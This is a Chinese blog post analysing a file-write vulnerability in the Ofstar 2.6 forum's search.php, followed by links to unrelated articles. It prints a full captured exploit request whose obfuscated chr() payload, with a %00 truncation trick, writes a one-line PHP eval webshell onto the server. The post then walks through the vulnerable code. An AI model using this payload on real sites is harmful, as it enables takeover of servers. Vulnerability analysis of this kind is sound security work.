Ofsatr 2.6搜索漏洞的简单分析

看到网上有类似的工具，但分析的文章却没找到，听小黑说黑客手册上有，可惜偶没有杂志，所以就抓包然后看下代码，大致分析了一下。这个漏洞很巧妙、也很经典 ：）




GET /search.php?keyword=By%20CN911&cachefile=an85.php%2500&treadinfo=〈?fputs(fop  
en(chr(46).chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(98).chr(98).chr(115).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(110).chr(57).chr(49).chr(49).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?〉 HTTP/1.1  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*  
Accept-Language: zh-cn  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)  
Host: 127.0.0.1   
  这是我抓包的文件，从抓包的文件里可以看出有三个变量：$keyword、$cachefile、$treadinfo。其中$keyword可以为任意关键字；$cachefile必须为一PHP文件，这个就是我们的PHP SHELL后面紧跟着%2500既为%00截断字符；$treadinfo就是生成木马的代码，我没解码，但猜测是把一句话木马写到另一个PHP文件的PHP代码。  
  PS：$treadinfo内容解码如下：   



&treadinfo=〈?fputs(fop   
  好了以上就是抓包得到的分析 让我们看下seach.PHP的代码吧，找出漏洞具体在哪儿。  
  第N行代码如下：    
$cachefile=rawurldecode($cachefile);   

  rawurldecode 函数是对已编码的 URL 字符串进行解码，分别对$keyword和$cachefile进行URL 字符串进行解码。rawurldecode这个函数也是关键之一，%00 经过rawurldecode的包装后，在〈PHP5.0下可以饶过GPC=ON起到截断作用。  
  第N+N行代码如下    




.....................   
$keywordarray=explode("│",$keyword);   
$keycount=count($keywordarray);   
if($sch_area=="C"){   
include'./require/schall.php';   
}elseif($sch_area=="A"){   
for ( $j = 0; $j 〈 $keycount; $j++){   
  $keywordarray[$j].="|";/*搜索作者准确匹配*/   
}   
include'./require/schpart.php';   
}else{   
include'./require/schpart.php';   
}   
if (!file_exists("userdata/cache/$cachefile.txt")){   
showmsg("没 有 您 要 查 找 的 内 容 〈br〉〈br〉〈br〉〈a href='search.php'〉继 续 搜 索〈/a〉〈/li〉〈/ul〉");   
}   
...............................   
  这里调用了schall.php或schpart.php文件，我们在看这个两个文件schall.php和schpart.php文件最后一行代码是：  
if($treadinfo)   
writeover("./userdata/cache/$cachefile.txt",$treadinfo,"ab");   
  所以无论调用哪个文件都可以把treadinfo的内容写入缓存文件，因为变量$treadinfo没初始化，可以自定义SHELL代码，而$cachefile又可以自定义一个PHP文件，后面用%00截断TXT。所以这行代码就是把木马写到PHP文件中。  
  到此漏洞产生的大致过程已经比较明确了 由于本人在网吧看的代码，也没具体测试。其中有些细节没指出，如有错误请指出。也非常佩服漏洞发现者SAIY的观察力。确实是个非常经典的漏洞 ：）

赞 (0)

相关推荐

  • Ofsatr 2.6搜索漏洞的简单分析

    看到网上有类似的工具,但分析的文章却没找到,听小黑说黑客手册上有,可惜偶没有杂志,所以就抓包然后看下代码,大致分析了一下.这个漏洞很巧妙.也很经典 :) GET /search.php?keyword=By%20CN911&cachefile=an85.php%2500&treadinfo=〈?fputs(fop   en(chr(46).chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(98).chr(98).chr(

  • 简单分析Java的求值策略原理

    简单分析Java的求值策略原理

    形参和实参 java在定义方法时可以设置参数,参数分为形参和实参,形参是指在定义函数时用于接收外部传入数据的参数,而实参是指在调用方法时主调函数向被调函数传递的数据参数. 例如: public class Main { public static void main(String[] args) { int a = 2; int b = 3; System.out.println(sum(a,b));//5 } private static int sum(int i1,int i2){ ret

  • Python超简单分析评论提取关键词制作精美词云流程

    Python超简单分析评论提取关键词制作精美词云流程

    目录  一.抓取全部评论 1.找到评论接口 2.Python 获取评论 二.文本分词.词云制作 1.文本分析 2.生成词云 3.初步效果-模糊不清 4.最终效果-高清无马  一.抓取全部评论 吾的这篇文章,有 1022 次评论,一条条看,吾看不过来,于是想到 Python 词云,提取关键词,倒也是一桩趣事. 评论情况: {'android': 545 次, 'ios': 110 次, 'pc': 44 次, 'uniapp': 1 次} 一个小细节:给我评论的设备中,安卓苹果比是 5:1. Bu

  • java几种排序算法的实现及简单分析

    本文实例讲述了java几种排序算法的实现及简单分析.分享给大家供大家参考.具体如下: package test; public class first { /*普通的插入排序*/ public void insertSort(int[] list) { int i, j; list[0] = -999; //相当于设置一个监视哨兵,不用判断是否越界, //但要求数组从第二个数开始即i=1开始存储 for (i = 1; i < list.length; i++) { j = i; while (

  • PHP 在数组中搜索给定的简单实例 array_search 函数

    array_search() PHP array_search() 函数用于在数组中搜索给定的值,如果成功则返回相应的键名,否则返回 FALSE . 语法: mixed array_search( mixed needle, array array [, bool strict] )参数说明: 参数 说明 needle 需要在数组中搜索的值,如果是字符串,则区分大小写 array 需要检索的数组 strict 可选,如果设置为 TRUE ,则还会对 needle 与 array 中的值类型进行检

  • 浅谈web上存漏洞及原理分析、防范方法（文件名检测漏洞）

    我们通过前篇:<浅谈web上存漏洞及原理分析.防范方法(安全文件上存方法)>,已经知道后端获取服务器变量,很多来自客户端传入的.跟普通的get,post没有什么不同.下面我们看看,常见出现漏洞代码.1.检测文件类型,并且用用户上存文件名保存 复制代码 代码如下: if(isset($_FILES['img'])){    $file = save_file($_FILES['img']); if($file===false) exit('上存失败!'); echo "上存成功!&qu

  • 流氓软件ErrorSafe的简单分析清除方法与其他

    这里就简单描述ErrorSafe的分析和应对办法,目前,我这里只能找到两个版本,一个是1.0.22.4,另外一个是1.2.120.1,后者经升级应该是最新版本了,颠倒一下,先给出结论,并列举防范措施,最后是简单分析 结论和推广方式 1.从版本上来看,老版本的ErrorSafe还添加了服务等,而最新版本则是很简单的只添加自启动项,新版本更容易被清除 2.从程序上来看,该软件之所以被国际称为恶意软件,主要是指它的流氓推广方式及其恶劣,犯了众怒,才被人人喊打 由于该程序本身并无流氓特征,其流氓性主要体

  • linux下system函数的简单分析

    简单分析了linux下system函数的相关内容,具体内容如下 int __libc_system (const char *line) { if (line == NULL) /* Check that we have a command processor available. It might not be available after a chroot(), for example. */ return do_system ("exit 0") == 0; return do

  • Python数据可视化正态分布简单分析及实现代码

    Python数据可视化正态分布简单分析及实现代码

    Python说来简单也简单,但是也不简单,尤其是再跟高数结合起来的时候... 正态分布(Normaldistribution),也称"常态分布",又名高斯分布(Gaussiandistribution),最早由A.棣莫弗在求二项分布的渐近公式中得到.C.F.高斯在研究测量误差时从另一个角度导出了它.P.S.拉普拉斯和高斯研究了它的性质.是一个在数学.物理及工程等领域都非常重要的概率分布,在统计学的许多方面有着重大的影响力. 正态曲线呈钟型,两头低,中间高,左右对称因其曲线呈钟形,因此人

  • 对python中的xlsxwriter库简单分析

    一.xlsxwriter 基本用法,创建 xlsx 文件并添加数据 官方文档:http://xlsxwriter.readthedocs.org/ xlsxwriter 可以操作 xls 格式文件 注意:xlsxwriter 只能创建新文件,不可以修改原有文件.如果创建新文件时与原有文件同名,则会覆盖原有文件 Linux 下安装: sudo pip install XlsxWriter Windows 下安装: pip install XlsxWriter # coding=utf-8 from

随机推荐